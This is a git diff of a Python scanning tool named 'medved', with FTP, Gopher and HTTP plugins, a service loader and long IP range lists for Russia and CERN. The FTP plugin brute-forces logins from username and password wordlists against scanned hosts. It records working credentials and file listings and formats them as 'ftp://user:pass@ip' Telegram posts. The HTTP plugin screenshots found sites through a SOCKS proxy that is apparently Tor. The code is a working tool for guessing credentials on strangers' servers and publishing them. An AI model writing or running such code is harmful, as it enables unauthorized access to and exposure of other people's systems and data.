new file mode 100644 index 0000000..db9a1bb --- /dev/null +++ b/lib/plugin/plugins/Base.py @@ -0,0 +1,57 @@ +from lib.util import get_logger +from Config import cnf +from Storage import DB + + +class Plugin: + class TelegramMessage: + def __init__(self, host, name='Base'): + self._host = host + self._name = name + self._init() + self._logger = get_logger("%s Message" % self._name, cnf.stalker[self._name].loglevel) + self.data = { + 'txt': 'Not implemented', + 'img': None + } + + def _init(self): + pass + + def run(self): + try: + self._generate() + except Exception as e: + self._logger.debug("Error occured: %s (%s:%s)", e, self._host['ip'], self._host['port']) + + def _generate(self): + pass + + + class Pipeline: + class PipelineError(Exception): + pass + + def __init__(self, host, name='Base'): + self._logger = get_logger("%s Pipeline" % name, cnf.stalker[name].loglevel) + self._host = host + self._name = name + self._init() + self._logger.debug("Starting for %s:%s", self._host['ip'], self._host['port']) + self.run() + + def _init(self): + pass + + def run(self): + try: + self._find() + self._push() + except Exception as e: + self._logger.debug("Error occured: %s (%s:%s)", e, self._host['ip'], self._host['port']) + + def _find(self): + pass + + def _push(self): + DB.collection('qu_%s_feed' % self._name).insert_one(self._host) diff --git a/lib/plugin/plugins/FTP.py b/lib/plugin/plugins/FTP.py new file mode 100644 index 0000000..ae7ffe0 --- /dev/null +++ b/lib/plugin/plugins/FTP.py @@ -0,0 +1,110 @@ +import ftplib +import netaddr + +from Config import cnf +from lib.plugin.plugins import BasePlugin + + +class Plugin(BasePlugin): + class TelegramMessage(BasePlugin.TelegramMessage): + def _init(self): + self._name = "FTP" + + def _generate(self): + self.data['txt'] = "ftp://%s:%s@%s/\n" % \ + (self._host['data']['username'], self._host['data']['password'], self._host['ip']) + for filename in self._host['data']['files']: + self.data['txt'] += " + %s\n" % filename + self.data['txt'] += "Geo: %s/%s\n" % (self._host['data']['geo']['country'], self._host['data']['geo']['city']) + self.data['txt'] += "#ftp_" + str(int(netaddr.IPAddress(self._host['ip']))) + + class Pipeline(BasePlugin.Pipeline): + def _init(self): + self._name = "FTP" + + def run(self): + try: + self._connect() + self._find() + self._filter() + self._push() + except Exception as e: + self._logger.debug("Error occured: %s (%s)", e, self._host['ip']) + else: + self._logger.info("Succeeded for %s" % self._host['ip']) + + def _connect(self): + self.ftp = ftplib.FTP(host=self._host['ip'], timeout=cnf.stalker.FTP.timeout) + try: + self._logger.debug('Trying anonymous login') + self.ftp.login() + except ftplib.error_perm: + pass + else: + self._logger.debug('Succeeded with anonymous') + self._host['data']['username'] = 'anonymous' + self._host['data']['password'] = '' + return + + if cnf.stalker.FTP.bruteforce: + usernames = [] + passwords = [] + + with open(cnf.stalker.FTP.logins, 'r') as lfh: + for username in lfh: + usernames.append(username.rstrip()) + with open(cnf.stalker.FTP.passwords, 'r') as pfh: + for password in pfh: + passwords.append(password.rstrip()) + for username in usernames: + for password in passwords: + try: + self.ftp.voidcmd('NOOP') + except IOError: + self.ftp = ftplib.FTP(host=self._host['ip'], timeout=cnf.stalker.FTP.timeout) + self._logger.debug('Trying %s' % (username + ':' + password)) + try: + self.ftp.login(username, password) + except ftplib.error_perm: + continue + except: + raise + else: + self._logger.debug('Succeeded with %s' %(username + ':' + password)) + self._host['data']['username'] = username + self._host['data']['password'] = password + return + raise Exception('No matching credentials found') + + def _find(self): + filelist = self.ftp.nlst() + try: + self.ftp.quit() + except: + # that's weird, but we don't care + pass + + try: + if len(filelist) == 0 or filelist[0] == "total 0": + raise self.PipelineError("Empty server") + except IndexError: + pass + + self._host['data']['files'] = [] + for fileName in filelist: + self._host['data']['files'].append(fileName) + + def _filter(self): + self._host['data']['filter'] = False + if len(self._host['data']['files']) == 0: + self._host['data']['filter'] = "Empty" + elif len(self._host['data']['files']) < 6: + match = 0 + for f in 'incoming', '..', '.ftpquota', '.', 'pub': + if f in self._host['data']['files']: + match += 1 + if match == len(self._host['data']['files']): + self._host['data']['filter'] = "EmptyWithSystemDirs" + + + diff --git a/lib/plugin/plugins/Gopher.py b/lib/plugin/plugins/Gopher.py new file mode 100644 index 0000000..4fc6f5b --- /dev/null +++ b/lib/plugin/plugins/Gopher.py @@ -0,0 +1,70 @@ +import socket +import netaddr + +from Config import cnf +from lib.plugin.plugins import BasePlugin + + +class Plugin(BasePlugin): + class TelegramMessage(BasePlugin.TelegramMessage): + def _init(self): + self._name = "Gopher" + + def _generate(self): + self.data['txt'] = "gopher://%s/\n" % self._host['ip'] + self.data['txt'] += "Dirs:\n" + for dir in [f for f in self._host['data']['files'] if f['type'] == '1']: + self.data['txt'] += " + %s\n" % dir['path'] + self.data['txt'] += "Other nodes:\n" + for file in [f for f in self._host['data']['files'] if f['type'] != '1' and f['type'] != 'i']: + self.data['txt'] += " + %s\n %s\n" % (file['path'], file['name']) + self.data['txt'] += "Geo: %s/%s\n" % (self._host['data']['geo']['country'], self._host['data']['geo']['city']) + self.data['txt'] += "#gopher_" + str(int(netaddr.IPAddress(self._host['ip']))) + + class Pipeline(BasePlugin.Pipeline): + def _init(self): + self._name = "Gopher" + + def run(self): + try: + self._find() + self._push() + except Exception as e: + self._logger.debug("Error occured: %s (%s)", e, self._host['ip']) + else: + self._logger.info("Succeeded for %s" % self._host['ip']) + + def _recv(self, sck): + total_data = [] + while True: + data = sck.recv(2048) + if not data: + break + total_data.append(data.decode('utf-8')) + return ''.join(total_data) + + def _find(self): + sock = socket.socket() + sock.settimeout(cnf.stalker.Gopher.timeout) + sock.connect((self._host['ip'], int(self._host['port']))) + sock.sendall(b'\n\n') + + response = self._recv(sock) + sock.close() + + self._logger.debug("Parsing result") + self._host['data']['files'] = [] + self._host['data']['filter'] = False + for s in [s for s in response.split("\r\n") if s]: + node = {} + fields = s.split("\t") + self._logger.debug(fields) + node['type'] = fields[0][0] + if len(fields) == 4: + node['name'] = fields[0][1:] + node['path'] = fields[1] + node['serv'] = f"{fields[2]}:{fields[3]}" + self._host['data']['files'].append(node) + + if not self._host['data']['files']: + raise self.PipelineError("Empty server (not Gopher?)") diff --git a/lib/plugin/plugins/HTTP.py b/lib/plugin/plugins/HTTP.py new file mode 100644 index 0000000..adfccaf --- /dev/null +++ b/lib/plugin/plugins/HTTP.py @@ -0,0 +1,185 @@ +from io import BytesIO +import json +import time + +import bs4 +import requests +import urllib3 +from PIL import Image +from bson.binary import Binary + +from selenium import webdriver +from selenium.webdriver.common.desired_capabilities import DesiredCapabilities +from selenium.webdriver.common.proxy import Proxy, ProxyType +import zlib +import netaddr + +from Config import cnf +from lib.plugin.plugins import BasePlugin + + +class Plugin(BasePlugin): + class TelegramMessage(BasePlugin.TelegramMessage): + def _init(self): + self._name = "HTTP" + + def _generate(self): + self.data['txt'] = "#code%s" % self._host['data']['response']['code'] + server = self._host['data']['response']['headers'].get('Server', None) + if server: + self.data['txt'] += " Server: #%s\n" % server + + else: + self.data['txt'] += "\n" + + if self._host['data']['title']: + self.data['txt'] += "Title: %s\n" % self._host['data']['title'] + + self.data['txt'] += "Geo: %s/%s\n" % (self._host['data']['geo']['country'], self._host['data']['geo']['city']) + self.data['txt'] += "http://%s:%s/\n" % (self._host['ip'], self._host['port']) + self.data['txt'] += "#http_" + str(int(netaddr.IPAddress(self._host['ip']))) + + if self._host["data"]["screenshot"]: + self.data['img'] = BytesIO(zlib.decompress(self._host["data"]["screenshot"])) + + class Pipeline(BasePlugin.Pipeline): + def _init(self): + self._name = "HTTP" + + def run(self): + try: + self._find() + self._filter() + self._capture_screenshot() + self._push() + except Exception as e: + self._logger.debug("Error occured: %s (%s:%s)", e, self._host['ip'], self._host['port']) + else: + self._logger.info("Succeeded for %s:%s", self._host['ip'], self._host['port']) + + def _find(self): + urllib3.disable_warnings() + response = requests.get(url='http://%s:%s/' % (self._host['ip'], self._host['port']), + timeout=cnf.stalker.HTTP.timeout, + verify=False) + + if response.status_code in [400, 401, 403, 500]: + raise self.PipelineError("Bad response") + + self._host['data']['response'] = {} + self._host['data']['response']['code'] = response.status_code + self._host['data']['response']['text'] = response.text + self._host['data']['response']['content'] = response.content + self._host['data']['response']['encoding'] = response.encoding + self._host['data']['response']['headers'] = response.headers + + encoding = response.encoding if 'charset' in response.headers.get('content-type', '').lower() else None + soup = bs4.BeautifulSoup(response.content, "html.parser", from_encoding=encoding) + if soup.original_encoding != 'utf-8': + meta = soup.select_one('meta[charset], meta[http-equiv="Content-Type"]') + if meta: + if 'charset' in meta.attrs: + meta['charset'] = 'utf-8' + else: + meta['content'] = 'text/html; charset=utf-8' + self._host['data']['response']['text'] = soup.prettify() # encodes to UTF-8 by default + + title = soup.select_one('title') + if title: + if title.string: + title = title.string + else: + title = "" + else: + title = "" + + self._host['data']['title'] = title + + def _filter(self): + self._host['data']['filter'] = False + response = self._host['data']['response'] + + with open(cnf.stalker.HTTP.filters, encoding='utf-8') as ffh: + filters = json.load(ffh) + + for fid, filter in filters.items(): + title_filter = filter["content"]["title"] if "title" in filter["content"] else [] + body_filter = filter["content"]["body"] if "body" in filter["content"] else [] + server_filter = filter["content"]["server"] if "server" in filter["content"] else "" + + match = 0 + for keyword in title_filter: + if keyword in self._host['data']['title']: + match += 1 + if match == len(title_filter): + match = 0 + for keyword in body_filter: + if keyword in response['text']: + match += 1 + if match == len(body_filter): + match = True + if server_filter: + if self._host['data']['server'] == server_filter: + match = True + else: + match = False + else: + match = False + else: + match = False + + if match: + self._host['data']['filter'] = fid + + def _capture_screenshot(self): + # сраный selenium, как же я его ненавижу + # боль + # страдания + # ноль документации + + img_byte_arr = BytesIO() + + url = 'http://%s:%s/' % (self._host["ip"], self._host["port"]) + self._host["data"]["screenshot"] = None + + self._logger.debug("Obtaining driver") + + driver = None + img = None + try: + caps = dict(DesiredCapabilities.CHROME) + + caps['args'] = ["--proxy-server", "socks5://%s:9050" % cnf.stalker.proxy] + + driver = webdriver.Remote(command_executor = "http://%s:4444/wd/hub" % cnf.stalker.HTTP.screenshots.selenium, + desired_capabilities=caps) + + driver.set_window_size(cnf.stalker.HTTP.screenshots.width, cnf.stalker.HTTP.screenshots.height) + driver.set_page_load_timeout(cnf.stalker.HTTP.screenshots.load_timeout) + driver.set_script_timeout(cnf.stalker.HTTP.screenshots.script_timeout) + + self._logger.debug("Loading %s:%s", self._host['ip'], self._host['port']) + + driver.get(url) + time.sleep(cnf.stalker.HTTP.screenshots.pause) + driver.execute_script("window.scrollTo(0, 0);") + img = driver.get_screenshot_as_png() + except Exception as e: + raise e + finally: + if driver: + driver.quit() + + self._logger.debug("Finished for %s:%s", self._host['ip'], self._host['port']) + + with Image.open(BytesIO(img)) as img: + img = img.crop((0, 0, cnf.stalker.HTTP.screenshots.width, cnf.stalker.HTTP.screenshots.height)) + extrema = img.convert("L").getextrema() + if not extrema == (0, 0): + img.save(img_byte_arr, format='PNG') + + self._host["data"]["screenshot"] = Binary(zlib.compress(img_byte_arr.getvalue())) + img_byte_arr.close() + self._logger.debug("Saved screen of %s:%s (e: %s)" % (self._host["ip"], self._host["port"], extrema)) + else: + self._logger.debug("Not saving screen of %s:%s, as it is empty", self._host["ip"], self._host["port"]) diff --git a/lib/plugin/plugins/__init__.py b/lib/plugin/plugins/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lib/plugin/test.py b/lib/plugin/test.py new file mode 100644 index 0000000..a67f973 --- /dev/null +++ b/lib/plugin/test.py @@ -0,0 +1,45 @@ +from threading import Thread +from time import sleep + +class A: # NOOP + def __init__(self, thread = None): + if thread: + self.__thread = Thread(target=thread) + self._running = False + self._init() + + def _init(self): + pass + + def start(self): + self._running = True + self.__thread.daemon = True + self.__thread.start() + + def stop(self): + self._running = False + self.__thread.join() + + def __run(self): + while(self._running): + print('NOOP') + sleep(1) + +class B(A): # NOOP + def __init__(self): + super().__init__(self.__run) + + def __run(self): + while(self._running): + print('OP') + sleep(1) + +class C(A): # NOOP + def __run(self): + while(self._running): + print('OP') + sleep(1) + + def _init(self): + self.__thread = Thread(target=self.__run) + diff --git a/lib/tasks/__init__.py b/lib/tasks/__init__.py new file mode 100644 index 0000000..82b819a --- /dev/null +++ b/lib/tasks/__init__.py @@ -0,0 +1,2 @@ +#from .scan import scan +#from .stalk import stalk \ No newline at end of file diff --git a/lib/tasks/worker.py b/lib/tasks/worker.py new file mode 100644 index 0000000..3a9eec8 --- /dev/null +++ b/lib/tasks/worker.py @@ -0,0 +1,6 @@ +from lib.plugin import Manager + +def worker(host, plugin): + p = Manager.get_plugin(plugin) + p.Plugin.Pipeline(host, plugin) + del p diff --git a/lib/util.py b/lib/util.py new file mode 100644 index 0000000..3a34a2e --- /dev/null +++ b/lib/util.py @@ -0,0 +1,107 @@ +import logging + +from Config import cnf as config + +import importlib +import sys, os + +class Logger(logging.Logger): + def __init__(self, name): + self._lf_start = '[%(asctime)s][%(levelname)-7s][%(name)-10s]' + self._lf_end = ' %(message)s' + self._lf_extra = {} + super().__init__(name, level=self.get_level(name)) + self._update() + + def get_level(self, name): + return logging.DEBUG + + def add_field(self, name, default, size=3): + if not name in self._lf_extra: + self._lf_extra[name] = { + 'default': default, + 'size': size + } + self._update() + + def error(self, msg, *args, **kwargs): + if self.isEnabledFor(logging.ERROR): + kwargs['extra'] = {} + for f, fv in self._lf_extra.items(): + kwargs['extra'][f] = fv['default'] + self._log(logging.ERROR, msg, args, **dict(kwargs)) + + def warn(self, msg, *args, **kwargs): + if self.isEnabledFor(logging.WARN): + kwargs['extra'] = {} + for f, fv in self._lf_extra.items(): + kwargs['extra'][f] = fv['default'] + self._log(logging.WARN, msg, args, **dict(kwargs)) + + def info(self, msg, *args, **kwargs): + if self.isEnabledFor(logging.INFO): + kwargs['extra'] = {} + for f, fv in self._lf_extra.items(): + kwargs['extra'][f] = fv['default'] + self._log(logging.INFO, msg, args, **dict(kwargs)) + + def debug(self, msg, *args, **kwargs): + if self.isEnabledFor(logging.DEBUG): + kwargs['extra'] = {} + for f, fv in self._lf_extra.items(): + kwargs['extra'][f] = fv['default'] + self._log(logging.DEBUG, msg, args, **dict(kwargs)) + + def del_field(self, name): + if name in self._lf_extra.keys(): + del self._lf_extra[name] + self._update() + + def _update(self): + self.handlers = [] + + fields = "".join(['[%(' + name + ')-' + str(f['size']) + 's]' for name, f in self._lf_extra.items()]) + lf = logging.Formatter(self._lf_start + fields + self._lf_end) + + ch = logging.StreamHandler() + ch.setLevel(self.level) + ch.setFormatter(lf) + + self.addHandler(ch) + + +class Loadable: + def __init__(self, id, root=config): + self.cnf = config + self.lcnf = root[id] + self._id = id + + +class Loader: + def __init__(self, path): + self._path = path + self._name = path.split('.')[-1] + self._dir = ".".join(path.split('.')[:-1]) # shiiiet + self._logger = Logger('Loader') + self._logger.add_field('path', self._path) + + def get(self, name): + sys.path.append( os.path.join( os.path.dirname( __file__ ), '..' )) + self._logger.debug('load %s', name) + result = importlib.import_module(self._path) + return getattr(result, name) + + @classmethod + def by_id(cls, section, id): + l = cls(config[section][id].package) + return l.get(config[section][id].service)(id=id, root=config[section]) + +""" +section: + package: lib.package + service: Service + id: + qwer: asdf + tyui: ghjk +""" + diff --git a/medved.py b/medved.py new file mode 100755 index 0000000..0722e24 --- /dev/null +++ b/medved.py @@ -0,0 +1,39 @@ +#!/usr/bin/python3 +# -*- coding: utf-8 -*- + +import time + +from Config import cnf +from lib import Logger, Loader + +class Core: + def __init__(self): + self.cnf = cnf.Core + self.logger = Logger("Core") + self.logger.debug("Loading services") + + self._services = [] + for service in self.cnf.services: + service = Loader.by_id('services', service) + self._services.append(service) + + def start(self): + self.logger.info("Starting") + for service in self._services: + service.start() + self.logger.info("Started") + + def stop(self): + self.logger.info("Stopping Core") + for service in self._services: + service.stop() + self.logger.info("Stopped") + +if __name__ == '__main__': + core = Core() + core.start() + try: + while True: + time.sleep(1) + except KeyboardInterrupt: + core.stop() diff --git a/ranges/cern b/ranges/cern new file mode 100644 index 0000000..c46fff9 --- /dev/null +++ b/ranges/cern @@ -0,0 +1 @@ +188.184.0.0-188.185.255.255 diff --git a/ranges/russia b/ranges/russia new file mode 100644 index 0000000..f28564c --- /dev/null +++ b/ranges/russia @@ -0,0 +1,2440 @@ +2.60.0.0-2.63.255.255 +2.92.0.0-2.95.255.255 +5.2.32.0-5.2.63.255 +5.3.0.0-5.3.255.255 +5.8.0.0-5.8.63.255 +5.8.64.0-5.8.95.255 +5.8.160.0-5.8.175.255 +5.8.192.0-5.8.223.255 +5.8.224.0-5.8.239.255 +5.11.64.0-5.11.79.255 +5.16.0.0-5.19.255.255 +5.28.16.0-5.28.31.255 +5.35.0.0-5.35.127.255 +5.35.128.0-5.35.159.255 +5.42.0.0-5.42.127.255 +5.43.128.0-5.43.159.255 +5.44.0.0-5.44.15.255 +5.44.48.0-5.44.63.255 +5.45.64.0-5.45.95.255 +5.45.192.0-5.45.255.255 +5.53.16.0-5.53.31.255 +5.62.128.0-5.62.255.255 +5.72.0.0-5.75.255.255 +5.77.0.0-5.77.31.255 +5.79.128.0-5.79.255.255 +5.100.64.0-5.100.127.255 +5.101.0.0-5.101.63.255 +5.101.64.0-5.101.95.255 +5.101.208.0-5.101.223.255 +5.101.224.0-5.101.255.255 +5.128.0.0-5.131.255.255 +5.136.0.0-5.143.255.255 +5.144.64.0-5.144.79.255 +5.144.96.0-5.144.127.255 +5.145.192.0-5.145.255.255 +5.158.96.0-5.158.127.255 +5.159.96.0-5.159.111.255 +5.164.0.0-5.167.255.255 +5.172.0.0-5.172.31.255 +5.175.96.0-5.175.127.255 +5.187.64.0-5.187.95.255 +5.188.0.0-5.188.255.255 +5.189.0.0-5.189.127.255 +5.189.192.0-5.189.255.255 +5.199.192.0-5.199.223.255 +5.200.32.0-5.200.63.255 +5.206.0.0-5.206.127.255 +5.227.0.0-5.227.255.255 +5.228.0.0-5.228.255.255 +5.249.192.0-5.249.223.255 +5.254.224.0-5.254.255.255 +5.255.192.0-5.255.255.255 +31.7.224.0-31.7.239.255 +31.8.0.0-31.8.255.255 +31.10.64.0-31.10.127.255 +31.13.32.0-31.13.63.255 +31.15.80.0-31.15.95.255 +31.23.0.0-31.23.255.255 +31.28.0.0-31.28.31.255 +31.28.32.0-31.28.63.255 +31.28.96.0-31.28.127.255 +31.28.192.0-31.28.223.255 +31.29.128.0-31.29.255.255 +31.31.192.0-31.31.207.255 +31.40.32.0-31.40.63.255 +31.40.64.0-31.40.95.255 +31.40.112.0-31.40.127.255 +31.42.32.0-31.42.47.255 +31.42.96.0-31.42.111.255 +31.42.192.0-31.42.223.255 +31.42.224.0-31.42.255.255 +31.43.192.0-31.43.223.255 +31.44.0.0-31.44.15.255 +31.44.48.0-31.44.63.255 +31.44.80.0-31.44.95.255 +31.44.176.0-31.44.191.255 +31.44.240.0-31.44.255.255 +31.47.128.0-31.47.159.255 +31.47.160.0-31.47.191.255 +31.128.32.0-31.128.63.255 +31.128.128.0-31.128.159.255 +31.128.192.0-31.128.223.255 +31.129.0.0-31.129.31.255 +31.129.32.0-31.129.63.255 +31.129.128.0-31.129.159.255 +31.129.192.0-31.129.223.255 +31.130.0.0-31.130.31.255 +31.130.32.0-31.130.63.255 +31.130.64.0-31.130.95.255 +31.130.128.0-31.130.159.255 +31.131.144.0-31.131.159.255 +31.131.192.0-31.131.223.255 +31.132.96.0-31.132.127.255 +31.132.128.0-31.132.191.255 +31.132.208.0-31.132.223.255 +31.132.224.0-31.132.239.255 +31.132.240.0-31.132.255.255 +31.133.224.0-31.133.255.255 +31.134.0.0-31.134.15.255 +31.134.16.0-31.134.31.255 +31.134.32.0-31.134.47.255 +31.134.128.0-31.134.191.255 +31.134.224.0-31.134.255.255 +31.135.32.0-31.135.63.255 +31.135.64.0-31.135.95.255 +31.135.96.0-31.135.127.255 +31.135.224.0-31.135.239.255 +31.162.0.0-31.163.255.255 +31.172.192.0-31.172.223.255 +31.173.0.0-31.173.255.255 +31.177.64.0-31.177.95.255 +31.180.0.0-31.181.255.255 +31.184.192.0-31.184.255.255 +31.186.64.0-31.186.79.255 +31.186.128.0-31.186.159.255 +31.192.128.0-31.192.159.255 +31.192.160.0-31.192.191.255 +31.200.192.0-31.200.207.255 +31.200.224.0-31.200.239.255 +31.204.0.0-31.204.63.255 +31.204.96.0-31.204.111.255 +31.204.160.0-31.204.191.255 +31.207.128.0-31.207.255.255 +31.210.192.0-31.210.223.255 +31.211.0.0-31.211.127.255 +31.216.160.0-31.216.175.255 +31.220.160.0-31.220.191.255 +37.1.0.0-37.1.63.255 +37.1.64.0-37.1.79.255 +37.1.128.0-37.1.143.255 +37.8.144.0-37.8.159.255 +37.9.0.0-37.9.31.255 +37.9.32.0-37.9.47.255 +37.9.64.0-37.9.127.255 +37.9.144.0-37.9.159.255 +37.18.0.0-37.18.127.255 +37.19.32.0-37.19.63.255 +37.20.0.0-37.23.255.255 +37.28.160.0-37.28.191.255 +37.29.0.0-37.29.127.255 +37.44.192.0-37.44.255.255 +37.49.160.0-37.49.191.255 +37.49.192.0-37.49.223.255 +37.60.208.0-37.60.223.255 +37.72.64.0-37.72.95.255 +37.76.128.0-37.76.191.255 +37.78.0.0-37.79.255.255 +37.98.160.0-37.98.191.255 +37.98.240.0-37.98.255.255 +37.110.0.0-37.110.127.255 +37.110.128.0-37.110.159.255 +37.110.224.0-37.110.239.255 +37.112.0.0-37.113.255.255 +37.114.16.0-37.114.31.255 +37.122.0.0-37.122.127.255 +37.131.192.0-37.131.223.255 +37.139.32.0-37.139.63.255 +37.139.192.0-37.139.255.255 +37.140.0.0-37.140.127.255 +37.140.128.0-37.140.191.255 +37.143.16.0-37.143.31.255 +37.143.96.0-37.143.111.255 +37.144.0.0-37.147.255.255 +37.153.0.0-37.153.63.255 +37.188.0.0-37.188.63.255 +37.190.0.0-37.190.127.255 +37.192.0.0-37.195.255.255 +37.204.0.0-37.204.255.255 +37.205.64.0-37.205.95.255 +37.208.64.0-37.208.79.255 +37.209.224.0-37.209.239.255 +37.220.176.0-37.220.191.255 +37.230.128.0-37.230.255.255 +37.232.128.0-37.232.255.255 +37.235.128.0-37.235.255.255 +46.0.0.0-46.0.255.255 +46.3.0.0-46.3.255.255 +46.8.0.0-46.8.255.255 +46.20.64.0-46.20.79.255 +46.20.176.0-46.20.191.255 +46.21.64.0-46.21.79.255 +46.21.240.0-46.21.255.255 +46.22.0.0-46.22.15.255 +46.22.48.0-46.22.63.255 +46.22.240.0-46.22.255.255 +46.23.144.0-46.23.159.255 +46.23.176.0-46.23.191.255 +46.32.64.0-46.32.95.255 +46.34.128.0-46.34.159.255 +46.36.0.0-46.36.31.255 +46.37.128.0-46.37.159.255 +46.38.0.0-46.38.31.255 +46.38.32.0-46.38.63.255 +46.38.96.0-46.38.127.255 +46.39.0.0-46.39.31.255 +46.39.32.0-46.39.63.255 +46.39.224.0-46.39.255.255 +46.41.64.0-46.41.127.255 +46.42.0.0-46.42.63.255 +46.42.128.0-46.42.191.255 +46.43.192.0-46.43.255.255 +46.44.0.0-46.44.63.255 +46.45.0.0-46.45.63.255 +46.45.192.0-46.45.255.255 +46.46.0.0-46.46.63.255 +46.46.128.0-46.46.191.255 +46.47.0.0-46.47.63.255 +46.47.192.0-46.47.255.255 +46.48.0.0-46.48.127.255 +46.48.128.0-46.48.255.255 +46.50.128.0-46.50.255.255 +46.52.128.0-46.52.191.255 +46.52.192.0-46.52.223.255 +46.52.224.0-46.52.239.255 +46.52.240.0-46.52.255.255 +46.61.0.0-46.61.127.255 +46.61.128.0-46.61.255.255 +46.62.0.0-46.62.127.255 +46.63.128.0-46.63.255.255 +46.72.0.0-46.73.255.255 +46.111.0.0-46.111.255.255 +46.138.0.0-46.138.255.255 +46.146.0.0-46.147.255.255 +46.148.48.0-46.148.63.255 +46.148.96.0-46.148.111.255 +46.148.128.0-46.148.143.255 +46.148.192.0-46.148.207.255 +46.148.208.0-46.148.223.255 +46.148.224.0-46.148.239.255 +46.148.240.0-46.148.255.255 +46.149.32.0-46.149.47.255 +46.149.64.0-46.149.79.255 +46.149.128.0-46.149.143.255 +46.149.224.0-46.149.239.255 +46.150.128.0-46.150.159.255 +46.150.160.0-46.150.191.255 +46.150.224.0-46.150.255.255 +46.158.0.0-46.159.255.255 +46.160.0.0-46.160.63.255 +46.160.128.0-46.160.191.255 +46.160.192.0-46.160.255.255 +46.161.0.0-46.161.63.255 +46.161.128.0-46.161.191.255 +46.163.128.0-46.163.191.255 +46.164.192.0-46.164.255.255 +46.165.0.0-46.165.63.255 +46.166.64.0-46.166.127.255 +46.166.192.0-46.166.255.255 +46.167.64.0-46.167.127.255 +46.172.0.0-46.172.63.255 +46.172.96.0-46.172.111.255 +46.172.112.0-46.172.127.255 +46.172.160.0-46.172.191.255 +46.173.0.0-46.173.31.255 +46.173.32.0-46.173.63.255 +46.173.176.0-46.173.191.255 +46.173.208.0-46.173.223.255 +46.175.208.0-46.175.223.255 +46.180.0.0-46.181.255.255 +46.187.0.0-46.187.127.255 +46.188.0.0-46.188.127.255 +46.191.128.0-46.191.255.255 +46.228.0.0-46.228.15.255 +46.228.64.0-46.228.79.255 +46.228.96.0-46.228.111.255 +46.228.112.0-46.228.127.255 +46.229.64.0-46.229.79.255 +46.229.96.0-46.229.111.255 +46.229.128.0-46.229.143.255 +46.229.176.0-46.229.191.255 +46.232.0.0-46.232.127.255 +46.233.192.0-46.233.255.255 +46.236.128.0-46.236.191.255 +46.237.0.0-46.237.63.255 +46.241.0.0-46.241.127.255 +46.242.0.0-46.242.127.255 +46.243.160.0-46.243.191.255 +46.243.192.0-46.243.255.255 +46.249.0.0-46.249.31.255 +46.250.32.0-46.250.63.255 +46.250.64.0-46.250.95.255 +46.250.128.0-46.250.159.255 +46.251.64.0-46.251.95.255 +46.252.112.0-46.252.127.255 +46.252.160.0-46.252.175.255 +46.252.240.0-46.252.255.255 +62.5.128.0-62.5.255.255 +62.16.32.0-62.16.63.255 +62.16.64.0-62.16.95.255 +62.16.96.0-62.16.127.255 +62.32.64.0-62.32.95.255 +62.33.0.0-62.33.255.255 +62.61.0.0-62.61.31.255 +62.63.64.0-62.63.127.255 +62.64.0.0-62.64.31.255 +62.68.128.0-62.68.159.255 +62.69.0.0-62.69.31.255 +62.76.0.0-62.76.255.255 +62.78.32.0-62.78.63.255 +62.78.80.0-62.78.95.255 +62.84.96.0-62.84.127.255 +62.89.192.0-62.89.255.255 +62.105.0.0-62.105.31.255 +62.105.32.0-62.105.63.255 +62.105.128.0-62.105.159.255 +62.106.96.0-62.106.127.255 +62.109.0.0-62.109.31.255 +62.109.160.0-62.109.191.255 +62.112.96.0-62.112.127.255 +62.113.32.0-62.113.63.255 +62.113.64.0-62.113.127.255 +62.117.64.0-62.117.127.255 +62.118.0.0-62.118.255.255 +62.133.160.0-62.133.191.255 +62.140.224.0-62.140.255.255 +62.141.64.0-62.141.127.255 +62.148.0.0-62.148.31.255 +62.148.128.0-62.148.159.255 +62.148.224.0-62.148.255.255 +62.152.32.0-62.152.63.255 +62.152.64.0-62.152.95.255 +62.152.192.0-62.152.223.255 +62.165.0.0-62.165.31.255 +62.165.32.0-62.165.63.255 +62.168.224.0-62.168.255.255 +62.173.128.0-62.173.159.255 +62.176.0.0-62.176.31.255 +62.177.32.0-62.177.63.255 +62.181.32.0-62.181.63.255 +62.183.0.0-62.183.127.255 +62.192.32.0-62.192.63.255 +62.192.160.0-62.192.191.255 +62.192.224.0-62.192.255.255 +62.205.160.0-62.205.191.255 +62.213.0.0-62.213.31.255 +62.213.32.0-62.213.63.255 +62.213.64.0-62.213.127.255 +62.217.160.0-62.217.191.255 +62.220.32.0-62.220.63.255 +62.231.0.0-62.231.31.255 +62.231.160.0-62.231.191.255 +62.245.32.0-62.245.63.255 +62.249.128.0-62.249.159.255 +77.34.0.0-77.35.255.255 +77.37.128.0-77.37.255.255 +77.39.0.0-77.39.127.255 +77.40.0.0-77.40.127.255 +77.41.0.0-77.41.127.255 +77.41.128.0-77.41.255.255 +77.43.128.0-77.43.255.255 +77.45.128.0-77.45.255.255 +77.50.0.0-77.50.255.255 +77.51.0.0-77.51.255.255 +77.66.128.0-77.66.255.255 +77.79.128.0-77.79.191.255 +77.82.0.0-77.82.255.255 +77.88.0.0-77.88.63.255 +77.91.64.0-77.91.127.255 +77.93.96.0-77.93.127.255 +77.94.0.0-77.94.31.255 +77.94.32.0-77.94.63.255 +77.94.96.0-77.94.127.255 +77.94.160.0-77.94.191.255 +77.94.192.0-77.94.223.255 +77.105.128.0-77.105.191.255 +77.106.0.0-77.106.63.255 +77.106.64.0-77.106.127.255 +77.106.192.0-77.106.255.255 +77.108.64.0-77.108.127.255 +77.108.192.0-77.108.255.255 +77.220.32.0-77.220.63.255 +77.220.128.0-77.220.159.255 +77.220.160.0-77.220.191.255 +77.221.128.0-77.221.159.255 +77.221.192.0-77.221.223.255 +77.222.32.0-77.222.63.255 +77.222.96.0-77.222.127.255 +77.223.64.0-77.223.95.255 +77.223.96.0-77.223.127.255 +77.232.0.0-77.232.31.255 +77.232.32.0-77.232.63.255 +77.232.128.0-77.232.159.255 +77.233.0.0-77.233.31.255 +77.233.160.0-77.233.191.255 +77.233.192.0-77.233.223.255 +77.234.0.0-77.234.31.255 +77.234.192.0-77.234.223.255 +77.235.192.0-77.235.223.255 +77.236.32.0-77.236.63.255 +77.236.64.0-77.236.95.255 +77.236.128.0-77.236.159.255 +77.236.224.0-77.236.255.255 +77.238.96.0-77.238.127.255 +77.238.128.0-77.238.159.255 +77.238.224.0-77.238.255.255 +77.239.192.0-77.239.223.255 +77.239.224.0-77.239.255.255 +77.240.144.0-77.240.159.255 +77.240.160.0-77.240.175.255 +77.241.16.0-77.241.31.255 +77.241.32.0-77.241.47.255 +77.241.144.0-77.241.159.255 +77.241.240.0-77.241.255.255 +77.242.0.0-77.242.15.255 +77.242.96.0-77.242.111.255 +77.243.0.0-77.243.15.255 +77.243.96.0-77.243.111.255 